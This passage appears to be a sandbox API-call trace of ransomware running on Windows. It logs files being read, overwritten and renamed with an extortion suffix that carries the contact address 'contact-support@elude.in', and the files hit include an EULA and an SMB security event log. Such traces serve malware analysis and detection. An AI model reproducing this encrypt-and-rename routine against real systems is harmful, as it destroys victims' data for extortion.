lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.888] ReadFile (in: hFile=0x6a4, lpBuffer=0x6fc0048, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fc0048*, lpNumberOfBytesRead=0x673ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0092.440] GetProcessHeap () returned 0x630000 [0092.440] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8a78 [0092.441] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.441] WriteFile (in: hFile=0x6a4, lpBuffer=0x6fcb478*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fcb478*, lpNumberOfBytesWritten=0x673ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0094.323] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.324] WriteFile (in: hFile=0x6a4, lpBuffer=0x6fd6877*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fd6877*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0094.324] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.324] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0094.324] CloseHandle (hObject=0x6a4) returned 1 [0094.327] GetProcessHeap () returned 0x630000 [0094.327] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fcb478 | out: hHeap=0x630000) returned 1 [0094.327] GetProcessHeap () returned 0x630000 [0094.327] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fc0048 | out: hHeap=0x630000) returned 1 [0094.327] GetProcessHeap () returned 0x630000 [0094.327] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8a78 | out: hHeap=0x630000) returned 1 [0094.327] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0094.327] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0xfe2c6fa8, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x151ce, dwReserved0=0x95c7496, dwReserved1=0x6fc0040, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d51c0 [0094.327] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0094.327] Sleep (dwMilliseconds=0x1) [0096.232] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\588bce7c90097ed212\\3082\\eula.rtf", len=0x23 | out: pbstr=0x673ff7c*="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 1 [0096.232] GetProcessHeap () returned 0x630000 [0096.232] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9378, Size=0x18) returned 0x6b04f8 [0096.232] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x680 [0096.232] CloseHandle (hObject=0x680) returned 1 [0096.232] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0096.233] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0096.233] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0096.233] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd, dwReserved0=0x3, dwReserved1=0x800001, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d5580 [0096.233] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0096.233] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x680 [0096.233] GetProcessHeap () returned 0x630000 [0096.233] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc01) returned 0x727d80 [0096.234] GetProcessHeap () returned 0x630000 [0096.234] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc01) returned 0x6ed4d28 [0096.234] SetFilePointerEx (in: hFile=0x680, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.234] ReadFile (in: hFile=0x680, lpBuffer=0x727d80, nNumberOfBytesToRead=0xbe0, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x727d80*, lpNumberOfBytesRead=0x673ff0c*=0xbe0, lpOverlapped=0x0) returned 1 [0096.246] GetProcessHeap () returned 0x630000 [0096.246] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8960 [0096.246] SetFilePointerEx (in: hFile=0x680, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.246] WriteFile (in: hFile=0x680, lpBuffer=0x6ed4d28*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed4d28*, lpNumberOfBytesWritten=0x673ff0c*=0xbe0, lpOverlapped=0x0) returned 1 [0096.247] SetFilePointerEx (in: hFile=0x680, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.247] WriteFile (in: hFile=0x680, lpBuffer=0x6ed5907*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed5907*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0096.247] SetFilePointerEx (in: hFile=0x680, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.247] WriteFile (in: hFile=0x680, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0096.247] CloseHandle (hObject=0x680) returned 1 [0096.248] GetProcessHeap () returned 0x630000 [0096.248] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ed4d28 | out: hHeap=0x630000) returned 1 [0096.248] GetProcessHeap () returned 0x630000 [0096.248] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727d80 | out: hHeap=0x630000) returned 1 [0096.248] GetProcessHeap () returned 0x630000 [0096.248] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8960 | out: hHeap=0x630000) returned 1 [0096.248] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0096.248] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0xff51b14e, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0xc21, dwReserved0=0x95c7496, dwReserved1=0x727d78, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d5240 [0096.248] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0096.248] Sleep (dwMilliseconds=0x1) [0096.261] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml", len=0x2c | out: pbstr=0x673ff7c*="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 1 [0096.261] GetProcessHeap () returned 0x630000 [0096.261] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b04f8, Size=0x14) returned 0x6b0218 [0096.261] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b4 [0096.261] CloseHandle (hObject=0x6b4) returned 1 [0096.261] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0096.261] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0096.262] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0096.262] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d51c0 [0096.262] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0096.262] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b4 [0096.262] GetProcessHeap () returned 0x630000 [0096.262] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6fc0048 [0096.263] GetProcessHeap () returned 0x630000 [0096.263] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6fcb478 [0096.263] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.263] ReadFile (in: hFile=0x6b4, lpBuffer=0x6fc0048, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fc0048*, lpNumberOfBytesRead=0x673ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0101.829] GetProcessHeap () returned 0x630000 [0101.829] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee940 [0101.829] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.829] WriteFile (in: hFile=0x6b4, lpBuffer=0x6fcb478*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fcb478*, lpNumberOfBytesWritten=0x673ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0101.829] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.829] WriteFile (in: hFile=0x6b4, lpBuffer=0x6fd6877*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fd6877*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0101.829] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.829] WriteFile (in: hFile=0x6b4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0101.830] CloseHandle (hObject=0x6b4) returned 1 [0102.272] GetProcessHeap () returned 0x630000 [0102.272] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fcb478 | out: hHeap=0x630000) returned 1 [0102.273] GetProcessHeap () returned 0x630000 [0102.273] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fc0048 | out: hHeap=0x630000) returned 1 [0102.273] GetProcessHeap () returned 0x630000 [0102.273] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee940 | out: hHeap=0x630000) returned 1 [0102.273] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0102.273] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x2e8ff1a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xedb4, dwReserved0=0x95c7496, dwReserved1=0x6fc0040, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5380 [0102.274] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0102.274] Sleep (dwMilliseconds=0x1) [0102.477] Sleep (dwMilliseconds=0x1) [0102.664] Sleep (dwMilliseconds=0x1) [0102.929] Sleep (dwMilliseconds=0x1) [0103.089] Sleep (dwMilliseconds=0x1) [0103.196] Sleep (dwMilliseconds=0x1) [0103.497] Sleep (dwMilliseconds=0x1) [0104.453] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx", len=0x32 | out: pbstr=0x673ff7c*="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 1 [0104.453] GetProcessHeap () returned 0x630000 [0104.453] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649f58, Size=0x40) returned 0x6fef3c8 [0104.453] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x690 [0104.480] CloseHandle (hObject=0x690) returned 1 [0104.480] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.481] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0104.481] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0104.481] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SmbClient%4Security.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MIF51C~1.FIR")) returned 0x6d4e00 [0104.482] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0104.482] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x690 [0104.482] GetProcessHeap () returned 0x630000 [0104.482] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7062220 [0104.483] GetProcessHeap () returned 0x630000 [0104.483] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x706d650 [0104.483] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.483] ReadFile (in: hFile=0x690, lpBuffer=0x7062220, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7062220*, lpNumberOfBytesRead=0x673ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.483] GetProcessHeap () returned 0x630000 [0112.483] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0112.483] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.483] WriteFile (in: hFile=0x690, lpBuffer=0x706d650*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x706d650*, lpNumberOfBytesWritten=0x673ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.487] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.487] WriteFile (in: hFile=0x690, lpBuffer=0x7078a4f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7078a4f*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0112.487] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.487] WriteFile (in: hFile=0x690, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0112.487] CloseHandle (hObject=0x690) returned 1 [0112.488] GetProcessHeap () returned 0x630000 [0112.488] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706d650 | out: hHeap=0x630000) returned 1 [0112.488] GetProcessHeap () returned 0x630000 [0112.489] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7062220 | out: hHeap=0x630000) returned 1 [0112.489] GetProcessHeap () returned 0x630000 [0112.489] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0112.489] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0112.489] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x8fe0c3e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0x95c7496, dwReserved1=0x7062218, cFileName="Microsoft-Windows-SmbClient%4Security.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MIF51C~1.FIR")) returned 0x6d5240 [0112.489] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0112.489] Sleep (dwMilliseconds=0x1) [0113.620] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml", len=0x52 | out: pbstr=0x673ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 1 [0113.620] GetProcessHeap () returned 0x630000 [0113.620] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699948, Size=0x20) returned 0x6e9120 [0113.620] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0113.634] Sleep (dwMilliseconds=0x1) [0113.647] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml", len=0x57 | out: pbstr=0x673ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 1 [0113.647] GetProcessHeap () returned 0x630000 [0113.647] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1268, Size=0xc) returned 0x6b12b0 [0113.647] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0113.651] Sleep (dwMilliseconds=0x1) [0113.661] Sleep (dwMilliseconds=0x1) [0113.682] Sleep (dwMilliseconds=0x1) [0113.692] Sleep (dwMilliseconds=0x1) [0114.307] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat", len=0x41 | out: pbstr=0x673ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 1 [0114.307] GetProcessHeap () returned 0x630000 [0114.307] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d51c0, Size=0x30) returned 0x6ed5f20 [0114.307] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.308] Sleep (dwMilliseconds=0x1) [0114.885] Sleep (dwMilliseconds=0x1) [0115.138] Sleep (dwMilliseconds=0x1) [0115.500] Sleep (dwMilliseconds=0x1) [0115.906] Sleep (dwMilliseconds=0x1) [0117.150] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe", len=0x2e | out: pbstr=0x673ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 1 [0117.150] GetProcessHeap () returned 0x630000 [0117.150] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1388 | out: hHeap=0x630000) 